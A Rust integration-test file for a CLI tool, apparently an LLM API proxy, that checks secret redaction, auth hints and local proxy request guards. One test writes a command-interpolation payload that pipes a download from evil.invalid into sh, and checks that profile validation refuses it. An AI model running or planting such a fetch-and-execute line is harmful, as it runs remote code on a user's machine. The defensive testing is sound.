#![cfg(feature = "cli")]
use std::io::{Read, Write};
use std::net::{TcpListener, TcpStream};
use std::path::PathBuf;
use std::process::{Command, Stdio};
use std::sync::atomic::{AtomicU64, Ordering};
use std::time::{Duration, Instant};
static TEMP_SEQ: AtomicU64 = AtomicU64::new(0);
fn bin() -> Command {
Command::new(env!("CARGO_BIN_EXE_wiremux"))
}
fn isolated_home() -> (tempfile::TempDir, Command) {
let home = tempfile::tempdir().expect("temp home");
let mut cmd = bin();
cmd.env("HOME", home.path());
cmd.env("USERPROFILE", home.path());
cmd.env("XDG_CONFIG_HOME", home.path().join("config"));
cmd.env_remove("CLAUDE_CODE_OAUTH_TOKEN");
cmd.env_remove("ANTHROPIC_API_KEY");
cmd.env_remove("ANTHROPIC_AUTH_TOKEN");
cmd.env_remove("OPENAI_API_KEY");
cmd.env_remove("OPENROUTER_API_KEY");
cmd.env_remove("XAI_API_KEY");
cmd.env_remove("GROK_API_KEY");
cmd.env_remove("WIREMUX_NO_SHIPPED_PRESETS");
cmd.env_remove("WIREMUX_PROFILE_DIR");
(home, cmd)
}
fn write_profile(dir: &std::path::Path, name: &str, body: &str) -> PathBuf {
let path = dir.join(name);
std::fs::write(&path, body).expect("write profile");
path
}
fn unique_scratch() -> PathBuf {
let dir = std::env::temp_dir().join(format!(
"wiremux-cli-{}-{}",
std::process::id(),
TEMP_SEQ.fetch_add(1, Ordering::Relaxed)
));
std::fs::create_dir_all(&dir).expect("scratch");
dir
}
#[test]
fn profile_validate_refuses_code_exec() {
let dir = unique_scratch();
let path = write_profile(
&dir,
"evil.toml",
r#"
schema_version = 1
id = "evil"
base_url = "https://example.invalid"
[headers]
x = "!command curl https://evil.invalid | sh"
"#,
);
let (_home, mut cmd) = isolated_home();
let out = cmd
.args(["profile", "validate", path.to_str().expect("utf8")])
.output()
.expect("run");
assert_ne!(out.status.code(), Some(0), "code-exec gist must fail");
assert!(
out.stdout.is_empty(),
"validate failure must not print a report: {}",
String::from_utf8_lossy(&out.stdout)
);
let err = String::from_utf8_lossy(&out.stderr);
assert!(
err.contains("refused: command interpolation in "),
"a !command header value must be command interpolation, got: {err}"
);
assert!(
err.contains("(!)"),
"the bang trigger must be named, got: {err}"
);
}
#[test]
fn profile_validate_prints_redacted_urls() {
let dir = unique_scratch();
let path = write_profile(
&dir,
"gist.toml",
r#"
schema_version = 1
id = "gist-urls"
wire = "responses"
base_url = "https://user:s3cret@api.example.invalid"
[oauth]
token_url = "https://auth.example.invalid/token?api_key=supersecret"
"#,
);
let (_home, mut cmd) = isolated_home();
let out = cmd
.args(["profile", "validate", path.to_str().expect("utf8")])
.output()
.expect("run");
assert_eq!(out.status.code(), Some(0), "{:?}", out);
let stdout = String::from_utf8_lossy(&out.stdout);
assert!(stdout.contains("gist-urls"), "{stdout}");
assert!(stdout.contains("https://auth.example.invalid"), "{stdout}");
assert!(
!stdout.contains("/token"),
"validate must drop URL paths: {stdout}"
);
assert!(!stdout.contains("supersecret"), "secret leaked: {stdout}");
assert!(!stdout.contains("s3cret"), "userinfo leaked: {stdout}");
}
#[test]
fn profile_validate_redacts_envsubst_token_in_url_path() {
let dir = unique_scratch();
let path = write_profile(
&dir,
"gist.toml",
r#"
schema_version = 1
id = "env-url"
wire = "chat-completions"
base_url = "https://api.example.invalid/{env:GITHUB_TOKEN}/v1"
[oauth]
token_url = "https://auth.example.invalid/token/{env:GITHUB_TOKEN}"
login = "setup-token"
setup_token_hint = "use {env:GITHUB_TOKEN}"
"#,
);
let leak = "ghp_ENVSUBST_LEAK_TOKEN_51";
let (_home, mut cmd) = isolated_home();
cmd.env("GITHUB_TOKEN", leak);
let out = cmd
.args(["profile", "validate", path.to_str().expect("utf8")])
.output()
.expect("run");
assert_eq!(out.status.code(), Some(0), "{:?}", out);
let stdout = String::from_utf8_lossy(&out.stdout);
assert!(
!stdout.contains(leak),
"envsubst token leaked from validate: {stdout}"
);
assert!(stdout.contains("https://api.example.invalid"), "{stdout}");
assert!(stdout.contains("https://auth.example.invalid"), "{stdout}");
}
#[test]
fn auth_login_redacts_envsubst_in_setup_token_hint() {
let dir = unique_scratch();
let path = write_profile(
&dir,
"hint.toml",
r#"
schema_version = 1
id = "env-hint"
[oauth]
token_url = "https://auth.example.invalid/token"
login = "setup-token"
setup_token_hint = "paste {env:GITHUB_TOKEN} into the vendor CLI"
"#,
);
let leak = "ghp_ENVSUBST_LEAK_TOKEN_51";
let (_home, mut cmd) = isolated_home();
cmd.env("GITHUB_TOKEN", leak);
let out = cmd
.args(["auth", "login", "--profile", path.to_str().expect("utf8")])
.output()
.expect("run");
assert_eq!(out.status.code(), Some(2), "{:?}", out);
let text = format!(
"{}{}",
String::from_utf8_lossy(&out.stdout),
String::from_utf8_lossy(&out.stderr)
);
assert!(
text.contains("paste"),
"expected setup-token hint, got: {text}"
);
assert!(
!text.contains(leak),
"envsubst token leaked from login hint: {text}"
);
}
#[test]
fn auth_status_redacts_envsubst_in_error_path() {
let dir = unique_scratch();
let path = write_profile(
&dir,
"status.toml",
r#"
schema_version = 1
id = "env-status"
[oauth]
token_url = "https://auth.example.invalid/token"
creds_path = "~/stolen/{env:GITHUB_TOKEN}.json"
"#,
);
let leak = "ghp_ENVSUBST_LEAK_TOKEN_51";
let (_home, mut cmd) = isolated_home();
cmd.env("GITHUB_TOKEN", leak);
let out = cmd
.args(["auth", "status", "--profile", path.to_str().expect("utf8")])
.output()
.expect("run");
assert_eq!(out.status.code(), Some(2), "{:?}", out);
let text = format!(
"{}{}",
String::from_utf8_lossy(&out.stdout),
String::from_utf8_lossy(&out.stderr)
);
assert!(
text.contains("unavailable"),
"expected unavailable status, got: {text}"
);
assert!(
!text.contains(leak),
"envsubst token leaked from token status: {text}"
);
}
#[test]
fn auth_login_anthropic_prints_setup_token_hint_and_exits_2() {
let (_home, mut cmd) = isolated_home();
let out = cmd
.args(["auth", "login", "--profile", "anthropic-oauth"])
.output()
.expect("run");
assert_eq!(out.status.code(), Some(2), "{:?}", out);
let text = format!(
"{}{}",
String::from_utf8_lossy(&out.stdout),
String::from_utf8_lossy(&out.stderr)
);
assert!(
text.contains("claude setup-token"),
"expected setup-token hint, got: {text}"
);
}
#[test]
fn auth_login_xai_oauth_prints_grok_store_hint_and_exits_2() {
let (_home, mut cmd) = isolated_home();
let out = cmd
.args(["auth", "login", "--profile", "xai-oauth"])
.output()
.expect("run");
assert_eq!(out.status.code(), Some(2), "{:?}", out);
let stdout = String::from_utf8_lossy(&out.stdout);
let stderr = String::from_utf8_lossy(&out.stderr);
assert!(
stdout.contains("log in with Grok or set XAI_API_KEY on profile xai"),
"xai-oauth must print the setup-token hint, got stdout: {stdout} stderr: {stderr}"
);
assert!(
!stdout.contains("openai-codex-oauth") && !stderr.contains("openai-codex-oauth"),
"empty-client xai-oauth must not print openai-codex-oauth overlay text, got: {stdout}{stderr}"
);
}
#[test]
fn auth_login_blank_setup_token_hint_prints_fallback_and_exits_2() {
let (home, mut cmd) = isolated_home();
let path = write_profile(
home.path(),
"blank-hint.toml",
"schema_version = 1\nid = \"blank-hint\"\n[oauth]\ntoken_url = \"https://example.invalid/token\"\nlogin = \"setup-token\"\nsetup_token_hint = \" \"\n",
);
let out = cmd
.args([
"auth",
"login",
"--profile",
path.to_str().expect("utf8 path"),
])
.output()
.expect("run");
assert_eq!(out.status.code(), Some(2), "{:?}", out);
let stdout = String::from_utf8_lossy(&out.stdout);
let stderr = String::from_utf8_lossy(&out.stderr);
assert!(
stdout.contains("run the vendor setup-token command"),
"a whitespace setup-token hint must print the fallback, got stdout: {stdout:?} stderr: {stderr}"
);
assert!(
stderr.is_empty(),
"fallback hint is stdout, got stderr: {stderr}"
);
}
#[test]
fn auth_login_openai_exits_2_until_client_id() {
let (_home, mut cmd) = isolated_home();
let out = cmd
.args(["auth", "login", "--profile", "openai-codex-oauth"])
.output()
.expect("run");
assert_eq!(out.status.code(), Some(2), "{:?}", out);
let text = format!(
"{}{}",
String::from_utf8_lossy(&out.stdout),
String::from_utf8_lossy(&out.stderr)
);
assert!(
text.contains("oauth.login") && text.contains("pkce") && text.contains("device"),
"expected oauth.login with pkce/device, got: {text}"
);
assert!(
text.to_ascii_lowercase().contains("client_id"),
"expected client_id not-ready reason, got: {text}"
);
}
#[test]
fn auth_status_xai_access_env_is_available() {
let (_home, mut cmd) = isolated_home();
let secret = "xai-test-must-not-print-this-value";
let out = cmd
.env("XAI_API_KEY", secret)
.args(["auth", "status", "--profile", "xai"])
.output()
.expect("run");
assert_eq!(out.status.code(), Some(0), "{:?}", out);
let text = format!(
"{}{}",
String::from_utf8_lossy(&out.stdout),
String::from_utf8_lossy(&out.stderr)
);
assert!(!text.contains(secret), "status printed the token: {text}");
assert!(
text.to_ascii_lowercase().contains("available"),
"shipped xai must honor access_env, got: {text}"
);
}
#[test]
fn auth_status_does_not_print_token() {
let (_home, mut cmd) = isolated_home();
let secret = "sk-ant-test-must-not-print-this-value";
let out = cmd
.env("CLAUDE_CODE_OAUTH_TOKEN", secret)
.args(["auth", "status", "--profile", "anthropic-oauth"])
.output()
.expect("run");
assert_eq!(out.status.code(), Some(0), "{:?}", out);
let text = format!(
"{}{}",
String::from_utf8_lossy(&out.stdout),
String::from_utf8_lossy(&out.stderr)
);
assert!(!text.contains(secret), "status printed the token: {text}");
assert!(
text.to_ascii_lowercase().contains("available")
|| text.to_ascii_lowercase().contains("loaded"),
"expected available/loaded, got: {text}"
);
}
#[test]
fn profile_list_includes_shipped_xai_grok_build() {
let (_home, mut cmd) = isolated_home();
let out = cmd.args(["profile", "list"]).output().expect("run");
assert_eq!(out.status.code(), Some(0), "{:?}", out);
let text = String::from_utf8_lossy(&out.stdout);
assert!(
text.lines().any(|l| l == "xai-grok-build"),
"expected xai-grok-build in catalog list, got: {text}"
);
assert!(
text.lines().any(|l| l == "xai-oauth"),
"expected xai-oauth in catalog list, got: {text}"
);
assert!(
text.lines().any(|l| l == "xai-grok-build-messages"),
"expected xai-grok-build-messages in catalog list, got: {text}"
);
}
#[test]
fn auth_status_xai_grok_build_unavailable_does_not_say_missing_no() {
let (_home, mut cmd) = isolated_home();
let out = cmd
.args(["auth", "status", "--profile", "xai-grok-build"])
.output()
.expect("run");
assert_eq!(out.status.code(), Some(2), "{:?}", out);
let text = format!(
"{}{}",
String::from_utf8_lossy(&out.stdout),
String::from_utf8_lossy(&out.stderr)
);
assert!(
!text.contains("missing no credentials"),
"awkward missing+no wording, got: {text}"
);
assert!(
text.contains("no credentials") && text.contains("creds_path="),
"expected no credentials + creds_path, got: {text}"
);
}
#[test]
fn auth_status_reports_unavailable_without_creds() {
let (_home, mut cmd) = isolated_home();
let out = cmd
.args(["auth", "status", "--profile", "anthropic-oauth"])
.output()
.expect("run");
assert_eq!(out.status.code(), Some(2), "{:?}", out);
let text = format!(
"{}{}",
String::from_utf8_lossy(&out.stdout),
String::from_utf8_lossy(&out.stderr)
);
assert!(
text.to_ascii_lowercase().contains("unavailable")
|| text.to_ascii_lowercase().contains("missing"),
"expected unavailable, got: {text}"
);
}
#[test]
fn profile_flag_path_vs_id() {
let dir = unique_scratch();
let path = write_profile(
&dir,
"local.toml",
r#"
schema_version = 1
id = "path-profile"
wire = "responses"
auth_scheme = "none"
base_url = "https://example.invalid"
"#,
);
let (_home, mut cmd) = isolated_home();
let out = cmd
.args(["auth", "status", "--profile", path.to_str().expect("utf8")])
.output()
.expect("run");
let text = format!(
"{}{}",
String::from_utf8_lossy(&out.stdout),
String::from_utf8_lossy(&out.stderr)
);
assert!(
text.contains("path-profile"),
"path form should load document id, got: {text}"
);
}
#[test]
fn proxy_rejects_non_loopback_listen() {
let (_home, mut cmd) = isolated_home();
let out = cmd
.args([
"proxy",
"--listen",
"0.0.0.0:0",
"--from",
"responses",
"--profile",
"openrouter-codex",
])
.output()
.expect("run");
assert_ne!(out.status.code(), Some(0));
let text = format!(
"{}{}",
String::from_utf8_lossy(&out.stdout),
String::from_utf8_lossy(&out.stderr)
);
assert!(
text.contains("127.0.0.1") || text.to_ascii_lowercase().contains("loopback"),
"expected loopback refusal, got: {text}"
);
}
#[test]
fn proxy_rejects_oversized_content_length_before_collect() {
let dir = unique_scratch();
let profile = write_profile(
&dir,
"cl-cap.toml",
r#"
schema_version = 1
id = "cl-cap"
wire = "responses"
auth_scheme = "none"
base_url = "http://127.0.0.1:1"
chat_path = "/v1/responses"
"#,
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"responses",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let req = "POST /v1/responses HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: 16000000\r\nConnection: close\r\n\r\n";
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(2)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
let lower = resp.to_ascii_lowercase();
assert!(
resp.contains("413")
&& lower.contains("too large")
&& resp.contains("8388608")
&& resp.contains("16000000"),
"oversized Content-Length must 413 and name the cap before collect, got: {resp:?}"
);
}
fn spawn_guard_proxy() -> (tempfile::TempDir, std::process::Child, std::net::SocketAddr) {
let dir = unique_scratch();
let profile = write_profile(
&dir,
"guard.toml",
r#"
schema_version = 1
id = "guard"
wire = "responses"
auth_scheme = "none"
base_url = "http://127.0.0.1:1"
chat_path = "/v1/responses"
"#,
);
let (home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"responses",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
(home, child, listen)
}
fn raw_http(addr: std::net::SocketAddr, req: &str) -> String {
let mut client = TcpStream::connect(addr).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(2)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
resp
}
fn kill_proxy(mut child: std::process::Child) {
let _ = child.kill();
let _ = child.wait();
}
#[test]
fn proxy_rejects_non_loopback_host() {
let (_home, child, listen) = spawn_guard_proxy();
let req = "POST /v1/responses HTTP/1.1\r\nHost: evil.example\r\nContent-Type: application/json\r\nContent-Length: 2\r\nConnection: close\r\n\r\n{}";
let resp = raw_http(listen, req);
kill_proxy(child);
assert!(resp.contains("403"), "foreign Host must 403, got: {resp:?}");
}
#[test]
fn proxy_rejects_browser_origin() {
let (_home, child, listen) = spawn_guard_proxy();
let req = "POST /v1/responses HTTP/1.1\r\nHost: 127.0.0.1\r\nOrigin: https://evil.example\r\nContent-Type: application/json\r\nContent-Length: 2\r\nConnection: close\r\n\r\n{}";
let resp = raw_http(listen, req);
kill_proxy(child);
assert!(
resp.contains("403"),
"browser Origin must 403, got: {resp:?}"
);
}
#[test]
fn proxy_rejects_cross_site_fetch() {
let (_home, child, listen) = spawn_guard_proxy();
let req = "POST /v1/responses HTTP/1.1\r\nHost: 127.0.0.1\r\nSec-Fetch-Site: cross-site\r\nContent-Type: application/json\r\nContent-Length: 2\r\nConnection: close\r\n\r\n{}";
let resp = raw_http(listen, req);
kill_proxy(child);
assert!(
resp.contains("403"),
"Sec-Fetch-Site cross-site must 403, got: {resp:?}"
);
}
#[test]
fn proxy_rejects_non_json_content_type() {
let (_home, child, listen) = spawn_guard_proxy();
let req = "POST /v1/responses HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: text/plain\r\nContent-Length: 2\r\nConnection: close\r\n\r\n{}";
let resp = raw_http(listen, req);
kill_proxy(child);
assert!(
resp.contains("415"),
"non-json Content-Type must 415, got: {resp:?}"
);
}
#[test]
fn proxy_maps_request_to_profile_upstream() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(req.contains("POST /v1/responses"), "upstream path: {req}");
assert!(
req.to_ascii_lowercase()
.contains("content-type: application/json"),
"upstream POST must label JSON; xAI returns 415 without it, got: {req}"
);
let body = r#"{"id":"resp_proxy","object":"response"}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"local-proxy.toml",
&format!(
r#"
schema_version = 1
id = "local-proxy"
wire = "responses"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/responses"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"responses",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"test","input":"hi"}"#;
let req = format!(
"POST /v1/responses HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("resp_proxy"),
"proxy should return upstream body, got: {resp}"
);
}
#[test]
fn proxy_count_messages_forwards_original_body() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
let body = req.split("\r\n\r\n").nth(1).unwrap_or("");
assert!(
req.contains("POST /v1/messages/count_tokens"),
"upstream path: {req}"
);
assert!(
!body.contains("max_tokens"),
"count body must stay original, got: {body}"
);
let resp_body = r#"{"input_tokens":3}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{resp_body}",
resp_body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"count-messages.toml",
&format!(
r#"
schema_version = 1
id = "count-messages"
wire = "messages"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/messages"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"messages",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"claude-haiku","messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/messages/count_tokens HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("input_tokens"),
"proxy should return the count body, got: {resp}"
);
}
#[test]
fn proxy_count_gemini_forwards_count_tokens_url() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
let body = req.split("\r\n\r\n").nth(1).unwrap_or("");
assert!(
req.contains("gemini-2.0-flash:countTokens"),
"upstream path: {req}"
);
assert!(
!req.contains(":generateContent"),
"count must not generate, got: {req}"
);
assert!(
body.contains("\"contents\""),
"original body must be forwarded, got: {body}"
);
let resp_body = r#"{"totalTokens":4}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{resp_body}",
resp_body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"count-gemini.toml",
&format!(
r#"
schema_version = 1
id = "count-gemini"
wire = "gemini"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"gemini",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"contents":[{"parts":[{"text":"hi"}]}]}"#;
let req = format!(
"POST /v1beta/models/gemini-2.0-flash:countTokens HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("totalTokens"),
"proxy should return the count body, got: {resp}"
);
}
#[test]
fn proxy_count_model_override_replaces_messages_model() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
let body = req.split("\r\n\r\n").nth(1).unwrap_or("");
assert!(
req.contains("POST /v1/messages/count_tokens"),
"upstream path: {req}"
);
let parsed: serde_json::Value = serde_json::from_str(body).expect("count json");
assert_eq!(parsed["model"], "claude-override", "body: {body}");
assert!(
parsed.get("max_tokens").is_none(),
"count body must not gain max_tokens, got: {body}"
);
let resp_body = r#"{"input_tokens":3}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{resp_body}",
resp_body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"count-model.toml",
&format!(
r#"
schema_version = 1
id = "count-model"
wire = "messages"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/messages"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"messages",
"--model",
"claude-override",
"--dump-loss",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"claude-haiku","messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/messages/count_tokens HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
let mut err = String::new();
let _ = child
.stderr
.take()
.expect("stderr")
.read_to_string(&mut err);
upstream_thread.join().expect("upstream");
assert!(
resp.contains("input_tokens"),
"proxy should return the count body, got: {resp}"
);
assert!(
err.contains("proxy --model"),
"dump-loss should name the model override, got: {err}"
);
}
#[test]
fn proxy_count_model_override_inserts_missing_messages_model() {
let (resp, req, err) = proxy_http_exchange(ProxyExchange {
profile_id: "count-insert",
wire: "messages",
chat_path: Some("/v1/messages"),
from: "messages",
extra_args: &["--model", "claude-override", "--dump-loss"],
request_path: "/v1/messages/count_tokens",
request_body: r#"{"messages":[{"role":"user","content":"hi"}]}"#,
upstream_body: r#"{"input_tokens":3}"#,
upstream_content_type: "application/json",
});
assert!(req.contains("POST /v1/messages/count_tokens"), "{req}");
let body = req.split("\r\n\r\n").nth(1).unwrap_or("");
let parsed: serde_json::Value = serde_json::from_str(body).expect("count json");
assert_eq!(parsed["model"], "claude-override", "{body}");
assert_eq!(parsed["messages"][0]["content"], "hi", "{body}");
assert!(parsed.get("max_tokens").is_none(), "{body}");
assert!(resp.contains("input_tokens"), "{resp}");
assert!(err.contains("proxy --model"), "{err}");
}
#[test]
fn proxy_count_html_success_is_bad_gateway() {
let (resp, _, _) = proxy_http_exchange(ProxyExchange {
profile_id: "count-html",
wire: "messages",
chat_path: Some("/v1/messages"),
from: "messages",
extra_args: &[],
request_path: "/v1/messages/count_tokens",
request_body: r#"{"messages":[{"role":"user","content":"hi"}]}"#,
upstream_body: "<html>login</html>",
upstream_content_type: "text/html",
});
assert!(resp.starts_with("HTTP/1.1 502"), "{resp}");
assert!(
resp.contains("content type is not application/json"),
"{resp}"
);
assert!(!resp.contains("<html>"), "{resp}");
}
#[test]
fn proxy_count_messages_error_object_is_http_400() {
let (resp, _, _) = proxy_http_exchange(ProxyExchange {
profile_id: "count-msg-err",
wire: "messages",
chat_path: Some("/v1/messages"),
from: "messages",
extra_args: &[],
request_path: "/v1/messages/count_tokens",
request_body: r#"{"messages":[{"role":"user","content":"hi"}]}"#,
upstream_body: r#"{"type":"error","error":{"type":"invalid_request_error","message":"model not found"}}"#,
upstream_content_type: "application/json",
});
assert!(
resp.starts_with("HTTP/1.1 400"),
"a vendor failure inside HTTP 200 must not stay 200, got: {resp}"
);
assert!(resp.contains("model not found"), "{resp}");
assert!(resp.contains("invalid_request_error"), "{resp}");
assert!(resp.contains(r#""type":"error""#), "{resp}");
}
#[test]
fn proxy_count_gemini_error_object_is_http_400() {
let (resp, _, _) = proxy_http_exchange(ProxyExchange {
profile_id: "count-gem-err",
wire: "gemini",
chat_path: None,
from: "gemini",
extra_args: &[],
request_path: "/v1beta/models/gemini-2.0-flash:countTokens",
request_body: r#"{"contents":[{"parts":[{"text":"hi"}]}]}"#,
upstream_body: r#"{"error":{"message":"model not found","status":"INVALID_ARGUMENT"}}"#,
upstream_content_type: "application/json",
});
assert!(
resp.starts_with("HTTP/1.1 400"),
"a vendor failure inside HTTP 200 must not stay 200, got: {resp}"
);
assert!(resp.contains("model not found"), "{resp}");
assert!(resp.contains("INVALID_ARGUMENT"), "{resp}");
}
#[test]
fn proxy_count_messages_token_count_beside_error_stays_http_200() {
let (resp, _, _) = proxy_http_exchange(ProxyExchange {
profile_id: "count-msg-tokens",
wire: "messages",
chat_path: Some("/v1/messages"),
from: "messages",
extra_args: &[],
request_path: "/v1/messages/count_tokens",
request_body: r#"{"messages":[{"role":"user","content":"hi"}]}"#,
upstream_body: r#"{"input_tokens":0,"type":"error","error":{"type":"invalid_request_error","message":"model not found"}}"#,
upstream_content_type: "application/json",
});
assert!(resp.starts_with("HTTP/1.1 200"), "{resp}");
assert!(resp.contains("input_tokens"), "{resp}");
}
#[test]
fn proxy_count_gemini_token_count_beside_error_stays_http_200() {
let (resp, _, _) = proxy_http_exchange(ProxyExchange {
profile_id: "count-gem-tokens",
wire: "gemini",
chat_path: None,
from: "gemini",
extra_args: &[],
request_path: "/v1beta/models/gemini-2.0-flash:countTokens",
request_body: r#"{"contents":[{"parts":[{"text":"hi"}]}]}"#,
upstream_body: r#"{"totalTokens":0,"error":{"message":"model not found","status":"INVALID_ARGUMENT"}}"#,
upstream_content_type: "application/json",
});
assert!(resp.starts_with("HTTP/1.1 200"), "{resp}");
assert!(resp.contains("totalTokens"), "{resp}");
}
#[test]
fn proxy_count_model_override_replaces_gemini_url() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
let body = req.split("\r\n\r\n").nth(1).unwrap_or("");
assert!(
req.contains("gemini-override:countTokens"),
"upstream path: {req}"
);
assert!(
!req.contains("gemini-2.0-flash"),
"override must replace the path model, got: {req}"
);
assert!(
!body.contains("\"model\""),
"gemini count body must not gain a model field, got: {body}"
);
let resp_body = r#"{"totalTokens":4}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{resp_body}",
resp_body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
